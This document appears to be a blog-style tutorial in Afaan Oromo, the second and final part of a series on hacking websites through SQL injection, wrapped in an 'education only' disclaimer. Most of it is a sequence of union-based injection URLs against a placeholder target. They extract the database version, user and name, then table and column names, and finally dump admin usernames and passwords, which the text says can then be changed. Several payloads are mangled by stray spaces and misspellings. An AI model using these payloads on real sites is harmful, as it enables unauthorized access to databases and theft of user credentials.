XIYYEEFFANNOO

wanti nuti barreesine kun barnootaa fi hubannoof haa ta’uuf qofa. Haala nuti barreesine kana hordofee namni kamiiyuu yoo weebsaayitii nama tokko yookiin dhaabbata tokkoo irraan miidhaa geesse nuti itti gaafatamummaa kan hin fudhanne tahuu beekuu qabdu!!

kkam naga keessanii jedhee jira hunda keessanuu. Guyyaa darbe akkaataa mala SQL injection jedhamu fayyadamuun weebsaayitiilee hack ittiin godhan kutaa jalqabaa barreessee ture. Har’a immoo kutaa 2ffaa fi isa xumuraa haala itti aanu kanaan barreesseen jiraa dubbisaa.

An tutorial kana keessatti coloumn balaan irraan gahuu dandeenyu 2, 3 fi 4 argadhee jira. Isaan kana keessaa 2 haa fudhuu mee.

Itti aansuudhaan wanti nuti barbaannu version, database fi itti fayyadamaa(user) dha. Kanneen immoo haala kanaan barbaanna.

www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11-- erga barreesitee booda enter tuqi.

Database fi user argachuufis haaluma armaan olii kanaa iddoo version() jettu gara database() fi user() jijjiiruun barbaanna.

Yoo tooftaan armaan olii kun hojjatuu dide; haala armaan gadii kanaan ilaalla. www.targetwebsite.com/ index.php?id=-8 and 1=2 union select 1,unhex(hex(@@v ersion)),3,4,5,6,7,8,9,10,11--

Amma kan barbaannu maqaa gabateeti(table name). Kanas version database arganne irratti hundaa’a. Yoo version isaa 4 fi isaa ol ta’e maqaa gabatichaa tilmaamuu qabda (blind sql injection attack) jedhama haalli kun.

Mee amma maqaa gabatichaa haa barbaannuu. Koodii armaan gadii fayyadami. www.targetwebsite.com/ index.php?id=-8 union select 1,group_concat(table_name),3,4 ,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()-- Akkuma maqaa gabatee(table) arganneen kan barbaannu maqaa coloumn ti. Kanas akka koodii kanaan barbaanna. www.targetwebsite.com/ index.php?id=-8 union select 1,group_concat(coloumn_name),3,4 ,5,6,7,8,9,10,11 FROM information_sch ema.columns WHERE table_name=mysqlchar--

Xiyyeeffannoo: Erga barreesitee kaatee booda enter hin tuqin. Sababni isaa jalqaba table name gara Mysql Char String () jijjiiruu qabna. Kanas kan godhu Hackbar add-on firefox irratti fe’uu barbaachisa.

Yoo Hackbar hin qabaane as tuquun fe’adhu. Akkuma hackbar feeteen toolbar ni argita. Yoo hin argine ta’e F9 tuquun sql->Mysql->MysqlChar() banta.

Amma maqaa gabatee keessatti barreesii gara MySqlChar jijjiiri. Xumura irratti koodii kana barreessuun enter tuqi. www.targetwebsite.com/ index.php?id=-8 union select 1,group_concat(column_name),3, 4,5,6,7,8,9,10,11 FROM information_schema.columns WHERE table_name=CHAR(117, 115, 101, 114, 68, 97, 116, 97, 98, 97, 115, 101)-- Koodiin kun maqaa itti fayyadamtootaa(user) fi jecha darbii(password) nutti mul’isa. Nutis maqaa ykn password isaanii jijjiiruu dandeenya.

ID fi jecha darbii admin argachuu yoo barbaaddan immoo; http://targetwebsite.com/ index.php?id=-8 and 1=2 union select 1,group_concat( username,0x2a,password),3,4,5, 6,7,8,9,10,11 from userDatabase-- barreessuun enter tuqii ilaali.

walumaagalatti haalli SQL injection fayyadamuun weebsaayitiilee ittiin hack godhan kana fakkaata.

XIYYEEFFANNOO

wanti nuti barreesine kun barnootaa fi hubannoof haa ta’uuf qofa. Haala nuti barreesine kana hordofee namni kamiiyuu yoo weebsaayitii nama tokko yookiin dhaabbata tokkoo irraan miidhaa geesse nuti itti gaafatamummaa kan hin fudhanne tahuu beekuu qabdu!!